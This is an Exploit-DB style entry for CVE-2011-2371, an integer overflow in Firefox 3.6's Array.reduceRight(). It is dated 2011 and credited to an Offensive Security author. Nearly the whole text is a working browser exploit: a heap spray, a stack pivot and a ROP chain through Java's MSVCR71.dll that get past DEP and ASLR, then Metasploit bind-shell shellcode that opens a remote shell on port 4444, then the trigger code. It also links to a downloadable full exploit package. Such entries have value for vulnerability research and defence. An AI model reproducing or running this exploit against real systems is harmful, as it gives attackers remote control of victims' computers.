Mozilla Firefox – ‘Array.reduceRight()’ Integer Overflow (1)

# Title: Mozilla Firefox Array.reduceRight() Integer Overflow Exploit

# Date: 12 Oct 2011

# Author: Matteo Memelli ryujin -AT- offensive-security.com

# CVE-2011-2371

# Full exploit package: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17974.zip

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Title: Mozilla Firefox Array.reduceRight() Integer Overflow Exploit

Date: 12 Oct 2011

Author: Matteo Memelli ryujin -AT- offensive-security.com

CVE-2011-2371

Full exploit package:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17974.zip

Thx to dookie for helping ;)

Vulnerability discovered by Chris Rohlf and Yan Ivnitskiy of Matasano Security

http://www.mozilla.org/security/announce/2011/mfsa2011-22.html

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2371

DEP / ASLR bypassing through JAVA MSVCR71 sayonara rop chain

Tested on Windows 7 Ultimate / firefox 3.6.16 and 3.6.17

You need a Java-enabled browser to pwn this.

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var applet = document.getElementById('MyApplet');

function spray() {

// fake object pointers

var ptrs = unescape("%u4141" + // padding

// MOV EDX,DWORD[ESI] 0c000048=0c00007c

"%u0048%u0c00" +

"%u4141%u4141" + // padding

"%u4141" + // padding

// PIVOT MSVCR71.dll 0x7C370EEF LEA ESP,[ESI-3]

// RETN 1C75

"%u0EEF%u7C37" +

"%u4141%u4141" + // padding

"%u4141" + // padding

"%u240c%u3410" + // 3410240c RETN after PIVOT

"%u007c%u0c00" + // 0c00007c PTR TO END OF BUFFER

"%u4141%u4141" + // padding

"%u002e%u0c00"); // 0c00007c -> 0c00002e

// CALL PIVOT 0x7C370EEF

var bheader = 0x12/2; // u.n.d.e.f.i.n.e.d. string

// beginning of each array element

var nullt = 0x2/2; // string null terminator

// 0:000> ? 0c001cbe - 0c000012

// Evaluate expression: 7340 = 00001cac

var espoffset = (7340 /2) - ptrs.length;

var esppadding = unescape("%u0c0c%u0c0c");

while(esppadding.length < espoffset) {esppadding += esppadding;}

esppadding = esppadding.substring(0, espoffset);

// sayonara rop chain

rop = unescape("%u4cc1%u7c34"); // pop eax;ret;

rop += unescape("%u10c2%u7c34"); // pop ecx;pop ecx;ret;

rop += unescape("%u2462%u7c34"); // xor chain; call eax {0x7C3410C2}

rop += unescape("%uc510%u7c38"); // writeable loc for lpflOldProtect

rop += unescape("%u5645%u7c36"); // pop esi;ret;

rop += unescape("%u5243%u7c34"); // ret;

rop += unescape("%u8f46%u7c34"); // pop ebp;ret;

rop += unescape("%u87ec%u7c34"); // call eax;

rop += unescape("%u4cc1%u7c34"); // pop eax;ret;

rop += unescape("%ufdff%uffff"); // {size}

rop += unescape("%ud749%u7c34"); // neg eax;ret; {adjust size}

rop += unescape("%u58aa%u7c34"); // add ebx, eax;ret; {size into ebx}

rop += unescape("%u39fa%u7c34"); // pop edx;ret;

rop += unescape("%uffc0%uffff"); // {flag}

rop += unescape("%u1eb1%u7c35"); // neg edx;ret; {adjust flag}

rop += unescape("%u4648%u7c35"); // pop edi;ret;

rop += unescape("%u30ea%u7c35"); // mov eax,[eax];ret;

rop += unescape("%u4cc1%u7c34"); // pop eax;ret;

rop += unescape("%ua181%u7c37"); // (VP RVA + 30 - {0xEF adjustment}

rop += unescape("%u5aeb%u7c35"); // sub eax,30;ret;

rop += unescape("%u8c81%u7c37"); // pushad; add al,0xef; ret;

rop += unescape("%u683f%u7c36"); // push esp;ret;

rop += unescape("%ubc90%u0c0c%u0c0c"); // NOP / MOV ESP,0x0c0c0c0c

// windows/shell_bind_tcp - 341 bytes

// http://www.metasploit.com

// VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,

// InitialAutoRunScript=, AutoRunScript=

var shell = unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b" +

"%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a" +

"%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf" +

"%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001" +

"%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18" +

"%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31" +

"%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03" +

"%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" +

"%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489" +

"%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a" +

"%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32" +

"%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900" +

"%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050" +

"%u5040%u5040%uea68%udf0f%uffe0%u89d5%u31c7" +

"%u53db%u0268%u1100%u895c%u6ae6%u5610%u6857" +

"%udbc2%u6737%ud5ff%u5753%ub768%u38e9%uffff" +

"%u53d5%u5753%u7468%u3bec%uffe1%u57d5%uc789" +

"%u7568%u4d6e%uff61%u68d5%u6d63%u0064%ue389" +

"%u5757%u3157%u6af6%u5912%ue256%u66fd%u44c7" +

"%u3c24%u0101%u448d%u1024%u00c6%u5444%u5650" +

"%u5656%u5646%u564e%u5356%u6856%ucc79%u863f" +

"%ud5ff%ue089%u564e%uff46%u6830%u8708%u601d" +

"%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff" +

"%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72" +

"%u006a%uff53%u41d5");

rop += shell;

var tr_padding = unescape("%u0c0c%u0c0c");

while(tr_padding.length < 0x80000) {tr_padding += tr_padding;}

var dummy = ptrs + esppadding + rop + tr_padding;

var hspray = dummy.substring(0,0x80000 - bheader - nullt);

// Allocation of 64 blocks of 1Mb.

HeapBlocks = new Array()

for (i=0;i<0x40;i++){

HeapBlocks[i] += hspray;

}

spray();

hola = new Array;

hola.length = 2197815302; // 0x0c000014 beginning of sprayed block

w00t = function ph33r(prev, myobj, indx, array) {

alert(myobj[0]); // trigger getProperty

}

hola.reduceRight(w00t,1,2,3);

</script>

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